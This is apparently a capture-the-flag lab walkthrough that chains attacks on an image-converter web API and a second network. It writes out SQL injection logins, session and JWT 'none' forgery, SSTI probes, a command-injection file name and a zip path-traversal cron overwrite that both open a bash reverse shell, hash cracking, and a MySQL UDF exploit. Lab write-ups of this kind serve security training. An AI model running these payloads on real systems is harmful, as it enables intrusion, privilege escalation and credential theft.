You are on page 1of 61

Name API Security CTF: [Nov 20-24]

URL https://attackdefense.com/challengedetails?cid=2114

Type CTF Weekly: All

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

When the lab is launched, an Online Image Converter WebApp opens up in Firefox.

Step 1:​ Configure BurpSuite to intercept all the requests.

Launch BurpSuite:

Select Web Application Analysis > burpsuite from the application menu.
Once BurpSuite opens up, configure FoxyProxy to use Burp Suite profile:
Step 2:​ Login to the webapp using SQLi.

Use the following credentials to perform SQLi and login to the webapp:

Email:​ ' or '1'='1'--@test.com


Password:​ 123

Click on the login button and forward the intercepted requests:


Check the response of the login request in the HTTP History tab:

Notice that the response contains a SESSID (Session ID) parameter.


It looks like the SESSID is base64 encoded.

Step 3:​ Decoding the session ID.

Command:​ echo
eyJwcmVtaXVtIjogZmFsc2UsICJlbWFpbCI6ICInIG9yICcxJz0nMSctLUB0ZXN0LmNvbSIsICJGT
EFHMSI6ICJhOWY0Zjc1MGMyMjZjZmM4OWQwYjBlYzcxNTE1OTllMiIsICJ1dWlkIjogIjQ1YWY
3MWQ2LTkzZTMtNDMwNi1iNzRlLTVmOGM4MjgxMGQxOCJ9 | base64 -d

The decoded session ID contains a flag.

FLAG1:​ a9f4f750c226cfc89d0b0ec7151599e2

Notice that the premium attribute in the encoded session ID is set to false. The session ID also
contains a UUID to track the users. But the email ID is set to SQLi payload. So the webapp
might not accept this session ID (even though it somehow got generated). But that would be
known once some operation is performed using the webapp.

This will come in handy later.

Step 4:​ Upload an image to the webapp.

Notice the web page (after login):

Note:​ Turn off BurpSuite’s intercept mode for the next few requests.
Generate a random image for uploading to the webapp:

Command:​ scrot test.png

Upload the image to the webapp:


Select "Generate Image Art" option and enter some random "Image Art Text".

Submit the image to generate an Image Art:


Notice that the response says "Invalid Session ID". It must be because the UUID present in the
session ID doesn’t belong to the SQLi payload email ID.

The webapp also provides signup functionality. So using a new user, the image art feature can
be tested with the modified session ID.

Logout of the webapp:


Step 5:​ Create a new account.

Click on the Sign Up button and create a new user with the following credentials:

Note:​ Enable interception of requests in BurpSuite for the future requests.

Email:​ test@test.com
Password:​ test

Click on the Sign Up button and forward all the requests:


Notice the response for the signup request in the HTTP History tab:
The response contains SESSID (session ID).

Step 6:​ Set the premium parameter in the session ID to true.

Decode the session ID:

Command:​ echo
eyJwcmVtaXVtIjogZmFsc2UsICJlbWFpbCI6ICJ0ZXN0QHRlc3QuY29tIiwgIkZMQUcxIjogImE5Zj
RmNzUwYzIyNmNmYzg5ZDBiMGVjNzE1MTU5OWUyIiwgInV1aWQiOiAiNjdmMjczM2QtNTY1
MC00MzEyLThlZDYtYjcxNzRhZDA4YzMyIn0= | base64 -d
Set the premium attribute to true:

Command:​ echo -n '{"premium": true, "email": "test@test.com", "FLAG1":


"a9f4f750c226cfc89d0b0ec7151599e2", "uuid": "8bcaf1cc-6e2c-4ded-8359-9b2d84e5e1d4"}' |
base64 -w0

Modified Session ID:


eyJwcmVtaXVtIjogdHJ1ZSwgImVtYWlsIjogInRlc3RAdGVzdC5jb20iLCAiRkxBRzEiOiAiYTlmNG
Y3NTBjMjI2Y2ZjODlkMGIwZWM3MTUxNTk5ZTIiLCAidXVpZCI6ICI2N2YyNzMzZC01NjUwLTQ
zMTItOGVkNi1iNzE3NGFkMDhjMzIifQ==

Step 7:​ Generate an image art and send the modified session ID.

Notice the webapp after the user signup was successful.


Upload test.png image again and generate an image art:

Check the intercepted request in BurpSuite:


Note:​ All these requests are sent to port 8080 on the target server at IP address: 192.167.64.3

Modify the Session ID in this intercepted request and send the modified request:

Check the response of the above request in the HTTP History tab:

Notice that somehow the image got corrupted!

Try sending the same request using curl to avoid this issue.

Step 8:​ Sending the image art generation request using curl.
Command:​ curl -vvv -X POST http://192.167.64.3:8080/convert -H "Content-Type:
multipart/form-data" -F "file=@/root/test.png" -F "txt=test" -F "operation=imageart" -F
"SESSID=eyJwcmVtaXVtIjogdHJ1ZSwgImVtYWlsIjogInRlc3RAdGVzdC5jb20iLCAiRkxBRzEiOi
AiYTlmNGY3NTBjMjI2Y2ZjODlkMGIwZWM3MTUxNTk5ZTIiLCAidXVpZCI6ICI2N2YyNzMzZC0
1NjUwLTQzMTItOGVkNi1iNzE3NGFkMDhjMzIifQ=="

Notice the response headers. There is a flag in the header.

FLAG2:​ 38f5daf2ff2cb4dbdbb29e356469a625
Notice the Server header in the response. It indicates Werkzeug (WSGI web application library)
is being used by the backend API!

Step 9:​ Check the backend API and try to visit arbitrary endpoints.

URL:​ http://192.167.64.3:8080/test

Notice that the requested endpoint is reflected in the response.

Step 10:​ Checking if the backend API is vulnerable to Server-Side Template Injection
vulnerability (SSTI).

URL:​ http://192.167.64.3:8080/%7B%7B7*7%7D%7D

The backend API is vulnerable to SSTI!


Looks like the template engine used is Jinja (based on the payload used).

Step 11:​ Introspecting the config object for Flask.

URL:​ http://192.167.64.3:8080/%7B%7Bconfig.items()%7D%7D
Notice that the response contains a flag.

FLAG3:​ 3accb204130296307dcbfe63b9c5890a

Step 12:​ Send a test image for generating an image art.

Generate a test image using the scrot utility:

Commands:
rm test.png
scrot -d5 -u test.png

The above command would take the screenshot of the current window in focus, after a 5 second
delay.

After issuing the command, click on the browser window so that it’s screenshot gets saved.

Send this image to the backend to generate an image art:


View the generated image:
Notice the bottom of the generated image. It contains the supplied text: "Test".

Step 13:​ Trying to perform command injection by crafting an image name containing the
command injection payload.

Check the IP address of host machine:

Command:​ ip a
Since a files name cannot contain forward slashes ('/'), encode the payload using base64 utility:

Command:​ echo -n 'bash -i >& /dev/tcp/192.167.64.2/4444 0>&1' | base64

Save the image name as:

Image Name:​ '; bash -c "$(echo


YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY3LjY0LjIvNDQ0NCAwPiYx | base64 -d)";.png'

Command:​ cp test.png '; bash -c "$(echo


YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY3LjY0LjIvNDQ0NCAwPiYx | base64 -d)";.png'
Start a netcat listener and upload the renamed image file to generate an image art:

Now upload the image:


As soon as this image is uploaded, notice the terminal having netcat listener:

A shell session is received!

Step 14:​ Finding the flag.

Commands:
pwd
find / -name '*FLAG*' 2>/dev/null
cat /home/robert/FLAG4
FLAG4:​ d378fc844b8700bb558fe50bce948abc

Step 15:​ Checking the list of processes on the target machine.

Command:​ ps aux

Notice that the cron service is running on the target machine!

Check the /etc/crontab file for any interesting cron job:

Command:​ cat /etc/crontab


Notice that all the cron jobs are executed as root but the last one particularly looks very
interesting!

It runs cleanup.sh script every minute.

Step 16:​ Checking the contents of the cleanup script.

Command:​ cat /cleanup.sh

This script cleans up all the files older than 1 minute from the uploads directory of the backend
API.
Step 17:​ Checking the permissions of the cleanup.sh script.

Command:​ ls -al /cleanup.sh

There is a bulk upload feature in the webapp. If the zip files are extracted in an insecure
manner, then that could be used to modify the cleanup.sh script (iff the files were unzipped as
root) and gain a root shell on the target machine!

Step 18:​ Creating the cleanup script that contains a reverse shell payload.

Use the following bash script as the cleanup script:

Cleanup Script:

#!/bin/bash

bash -i >& /dev/tcp/192.167.64.2/4444 0>&1

Save the above bash script as /cleanup.sh

Command:​ cat /cleanup.sh

Step 19:​ Creating a zip archive containing a file with a relative path.
Zip the contents of the test image and the cleanup script (using the relative path):

Command:​ zip -r test.zip test.png ../../../../../../../../../../../../../../cleanup.sh

Due to this relative path being present in the zip file, if the unzip function takes into
consideration the full file path, then it would result in overwriting of the cleanup.sh script in the
root directory (if the unzip operation is performed as root user).

Step 20:​ Upload the zip archive created in the previous step.

Before uploading the zip archive, make sure to start a netcat listener to receive incoming
connections from the reverse shell payload:

Command:​ nc -lvp 4444

Now, upload the zip archive to the webapp:


It seems like everything went well. Checking the contents of the zip file returned in the
response:
Looks like the zip file returned in the response is corrupted.

Notice the terminal having netcat listener:

This time, a root shell is obtained!


Note:​ It might take around 1 minute at max to get the shell session because as seen earlier, the
cron job would run every minute, so in the worst case scenario, the modified cleanup script
would be invoked after 1 minute.

Step 21:​ Looking for the flag.

Command:​ find / -name '*FLAG*' 2>/dev/null

No new flag is found using the above command.

Step 22:​ Checking the API files for some interesting information.

Commands:
ls
ls pythonAPI
Notice that there is a database named users.db

Step 23:​ Checking the database for the credentials.

Checking the file type of the database file:

Command:​ file users.db

Notice that it is an SQLite database.

Step 24:​ Checking if sqlite3 utility is present on the backend server.

Command:​ sqlite3

Since sqlite3 utility is not present on the backend server, the database could be read using
python’s sqlite3 module.

Before that, it is better to obtain a stable shell session. For that, modify the password of root and
start SSH service.

Step 25:​ Modifying the password of the root user and starting SSH service.

Commands:
passwd
/etc/init.d/ssh status
/etc/init.d/ssh start
Step 26:​ Allowing password login for the root user over SSH.

But SSH login for root won’t work since by default, password login for the root user is disabled.

This can be confirmed by checking the SSH config as well:

Command:​ grep -i root /etc/ssh/sshd_config

Append the following line to the SSH config to allow root login with password:

Line to enable password authentication for root:​ PermitRootLogin yes

Use the following commands to modify the SSH config to allow root login with password and
restart the SSH service:
Commands:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
/etc/ssh.d/ssh status
/etc/ssh.d/ssh start

Step 27:​ Login to the target machine over SSH.

Command:​ ssh root@192.167.64.3


Step 28:​ Read the database content using Python.

Retrieving the sql of all the tables stored in the database:

Commands:
cd pythonAPI
python
import sqlite3
conn = sqlite3.connect("users.db")
sql = "Select sql from sqlite_master"
conn.execute(sql).fetchall()
As indicated by the response, there are 2 tables: users and flag in this database.

All of their columns are also retrieved by the above query.

Step 29:​ Retrieving the admin user’s email and password.

Commands:
sql = "Select email, password from users where admin=1"
conn.execute(sql).fetchall()

The password seems to be hashed. This can further be confirmed by checking the password of
the other users in the database:

Commands:
sql = "Select email, password from users"
conn.execute(sql).fetchall()
Notice that it looks like all passwords are like this. So all these must definitely be hashed!

Step 30:​ Checking the DBAPI.py file (as it looks like this is related to database in some way):

Note:​ Don’t exit the python prompt. Background it by pressing CTRL + Z

Commands:
ls
head DBAPI.py
Notice that password is hashed using MD5 algorithm!

Step 31:​ Cracking the admin’s password using John The Ripper.

Note:​ Switch to the attacker machine for cracking the password hash as John The Ripper is not
available on the target machine.

Run the following commands to save the hash and crack it using John The Ripper:

Commands:
echo e803adae1f5acc155699ad43e9b77629 > hash.txt
john --format="Raw-MD5" hash.txt
The password for the admin user (robin@dummymail.com) is xbox360

FLAG5:​ xbox360

Note:​ Switch back to the target machine for the next set of commands.

Step 32:​ Retrieve the content of the flag table.

Bring the Python prompt to foreground and issue the SQL query to retrieve the contents of flag
table:

Commands:
fg
sql = "Select * from flag"
conn.execute(sql).fetchall()
FLAG6:​ 7347864cf49afcad450fb9f4ceb7d0a5

Step 33:​ Checking the IP addresses of all the interfaces present on the target machine.

Command:​ ip a

Notice that there is 1 more network attached to it (besides the network in which the attacker
machine is).

Step 34:​ Running an nmap scan against a few hosts of the other network.
Command:​ nmap 192.138.76.3-5

Notice that 1 host (192.138.76.3) is up and has port 3306 (MySQL) and 8080 open!

Step 35:​ Checking the service running on port 8080.

Command:​ curl 192.138.76.3:8080


A health monitoring API is running on this port.

Step 36:​ Looking for any Health Monitoring API related information in the API files.

Command:​ grep -r 192.138.76.3 .

There is a logic to send POST requests to the /status endpoint by the API.

Command:​ grep -r B10 192.138.76.3 .

The credentials used by the API are:

Username:​ bot
Password:​ longbotpassword

Step 37:​ Issuing a token using the retrieved credentials.

Command:​ curl '192.138.76.3:8080/issue?username=bot&password=longbotpassword'


JWT Token:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsImlhdCI6MTYwNjIzMTkzMy
widXVpZCI6IjJkNDc5MmY3LWI3YjAtNGUwOC05NGJhLTZlYWI0NGFiMTViMyIsImV4cCI6MTY
wNzcwMDczM30.xMcMqFaHX9lrJ730POq3wAFk7wtXo9MTIrjMlSR1xoca54lFIA5qhEDsYgYLP
VQIwf-FURfNvK8i62OwBdc3pgF9aPYi54838200pnQ7LimCHc_N1ItP0mpZoJMtMbbFH459BoE
dRsw5remsjCvoO5yyWjWpKpU9Q4Y4GUetdFc51HfEk2lll7Q3S6FAD3DtMQHVSH6UvcsFVRn
Z8XYDPgqLzqYz14gz18wCxk3SpeY8aKFUow_QGz6O0KTK3cBbeeZ9KmO5bf9G6Fg3ebCt3K
1fN9J0dkaq_vPzawDUURxgmJH1YjvP-0C5mmSQdIuSL8tzjqqvp4omwsZuuFzYVg

A JWT Token is received from the Health Monitoring API.

Step 38:​ Decoding the retrieved JWT Token using ​https://jwt.io


Notice that the token has the following properties:

1. The signing algorithm is RS256, as indicated by the alg claim in the token header.
2. The admin claim is set to false, as indicated in the payload.
3. The payload also contains the UUID associated with the user and the issued at (iat) and
expiry (exp) claims indicating when the token was issued and when it will expire, respectively.

Step 39:​ Creating a forged token using None algorithm with admin claim set to true.

Try to forge a None algorithm JWT token and check if it gets accepted by the Health Monitoring
API:

Encoding the token header:

Command:​ echo -n '{"alg": "None","typ": "JWT"}' | base64

Strip off the equal to sign ("=") from the encoding result:
Base64URL Encoding:​ eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ

Encoding the token payload, with admin claim set to true:

Command:​ echo -n '{"admin": true,"iat": 1606231933,"uuid":


"2d4792f7-b7b0-4e08-94ba-6eab44ab15b3","exp": 1607700733}' | base64 -w0

Strip off the equal to sign ("=") from the encoding result:

Base64URL Encoding:
eyJhZG1pbiI6IHRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC0
0ZTA4LTk0YmEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30

Concatenate the Base64URL encoded header and payload, separated by a period (".").

None Algo JWT Token:


eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6IHRydWUsImlhdCI6IDE2MDYyMz
E5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0YmEtNmVhYjQ0YWIxNWIzIiwiZXhw
IjogMTYwNzcwMDczM30.

Note:​ Don’t forget to append the last period (".") to the token.

The signature part of the token must be empty, as shown above.

Step 40:​ Sending the forged token to the Health Monitoring API.

Issue a status request and submit the forged JWT token in it:
Command:​ curl -vvv
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=192.138.76.2'

Notice that the response header contains a flag.

FLAG7:​ d66155c9ecd5d5959151bed8c8360bb2

Step 41:​ Sending the SQLi payload with the forged token to the Health Monitoring API.
SQLi Payload:​ ' union select 1,2'#

Encoded SQLi Payload:​ %27+union+select+1,2%27%23

Send the encoded SQLi payload to the Health Monitoring API:

Command:​ curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=​%27+union+select+1,2%27
%23​'

The response indicates that there was some error fetching the results. So it must be the case
that the number of columns on the left and right side of the union must be different. This must
have caused the SQL query to fail!

Send the following SQLi payload to the API:

SQLi Payload:​ ' union select 1,2,3'#

Encoded SQLi Payload:​ %27+union+select+1,2,3%27%23

Command:​ curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=​%27+union+select+1,2,3%2
7%23​'
This time the SQLi payload worked! The last value sent in the payload was returned, that is, 3.

Step 42:​ Sending the SQLi payload to retrieve the authentication string of the root user.

Send the following SQLi payload to retrieve the host associated with the root user:

SQLi Payload:​ ' union select 1,2,host from mysql.user where user='root'#

Encoded SQLi Payload:


%27+union+select+1,2,host+from+mysql.user+where+user=%27root%27%23

Command:​ curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,host+f
rom+mysql.user+where+user=%27root%27%23'

The response indicates the host is set to '%'.


Information:​ '%' is a wildcard character in SQL and represents zero or more characters. In the
case of the host column, '%' means any host.

The authentication string of the root user corresponding to this host is of interest as it allows
anyone (in case SQL server is exposed to the outside network, like in this case) to login to the
SQL server.

Checking the count of the different host corresponding to the root user by sending the folloing
SQLi payload to the API:

SQLi Payload:​ ' union select 1,2,count(host) from mysql.user where user='root'#

Encoded SQLi Payload:


%27+union+select+1,2,count(host)+from+mysql.user+where+user=%27root%27%23

Command:​ curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,count(
host)+from+mysql.user+where+user=%27root%27%23'

The response indicates that there are 2 host entries. But for all practical purposes, the first
retrieved host (that is, '%') is the one that is of prime interest.

Send the following SQLi payload to retrieve the authentication string of the root user where host
is '%':

SQLi Payload:​ ' union select 1,2,authentication_string from mysql.user where user='root' AND
host='%'#
Encoded SQLi Payload:
%27+union+select+1,2,authentication_string+from+mysql.user+where+user=%27root%27+AND
+host=%27%%27%23

Command:​ curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=​%27+union+select+1,2,auth
entication_string+from+mysql.user+where+user=%27root%27+AND+host=%27%%27%23​'

Notice that the authentication string for the root user has been retrieved in the response!

Step 43:​ Cracking the authentication string for MySQL’s root user using John The Ripper.

Copy the retrieved authentication string to attacker machine and crack it using John The Ripper:

Commands:
echo '*8415D734A930E5AA40D3BB6FD07309834CF40EEB' > hash1.txt
john hash1.txt
MySQL root user’s password:​ catalina

FLAG8:​ catalina

Step 44:​ Connect to the MySQL server using the retrieved credentials.

Command:​ mysql -uroot -pcatalina -h 192.138.76.3


Step 45:​ Retrieving the flag from the database.

Use the following commands to find out the list of databases and retrieve the flag:

Commands:
show databases;
use secret_flag_7ef554cdfe3;
show tables;
select * from flags;
FLAG9:​ 1f2b4ed7bf0b6fb49d2cec5e0695f873

Step 46:​ Checking for any issues with the MySQL server to exfiltrate data from on the target
machine.

Check the "secure_file_priv" variable:

Command:​ show variables like "secure_file_priv";

Notice that the ​secure_file_priv​ variable is set to an empty string! This means that MySQL
service can be used to write data to any of the directories on the machine on which it is running
(if the user with which this service is running has the permissions to do so).

Checking the current logged in user:

Command:​ select user();


As expected, the current logged in user is root.

Retrieving all the details related to the root user and displaying them in row format:

Command:​ select * from mysql.user where user = substring_index(user(), '@', 1) and


host='%'\G
The root user has all the privileges to read and write files and can also create and alter routines,
so it’s worth trying UDF exploit!

Step 47:​ Checking the plugin directory for MySQL.

Command:​ select @@plugin_dir;


Step 48:​ Exploiting the MySQL server instance using the UDF exploit.

Base64 encode the MySQL UDF exploit shared library present in the metasploit framework:

Note:​ Run the following command on the attacker machine as metasploit is not present on the
compromised machines.

Command:​ base64
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so | tr -d '\n' > udf.b64

Now, move back to the compromised machine (connected over SSH session to the MySQL
server) and use the following command to write the UDF payload to the SQL server (in its plugin
directory):

Command:​ SELECT from_base64('f0VMR...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';


The UDF payload was successfully sent to the MySQL server machine.

Now create a sys_eval function that would be used to execute the system commands:

Command:​ CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

Note:​ sys_eval function is already a part of the shared library uploaded to the MySQL server
host.

Step 49:​ Retrieving the flag using the sys_eval function.

Use the following commands to determine the file containing the flag and reading its contents:

Commands:
select sys_eval("find / -name '*FLAG*' 2>/dev/null");
select sys_eval("cat /usr/share/FLAG10");
FLAG10:​ c4dd675a885f9cdd1d309b0830a01292

References:

1. OWASP Top 10 (​https://owasp.org/www-project-top-ten/​)


2. OWASP API Security Project (​https://owasp.org/www-project-api-security/​)
3. API Security Top 10
(​https://apisecurity.io/encyclopedia/content/owasp/owasp-api-security-top-10.htm​)
4. John The Ripper (​https://www.openwall.com/john/​)
5. JWT Debugger (​https://jwt.io​)
6. JSON Web Signature RFC (​https://tools.ietf.org/html/rfc7515​)
7. MySQL UDF Exploit (​https://www.exploit-db.com/exploits/1518​)
8. Metasploit Framework (​https://www.metasploit.com/​)

You might also like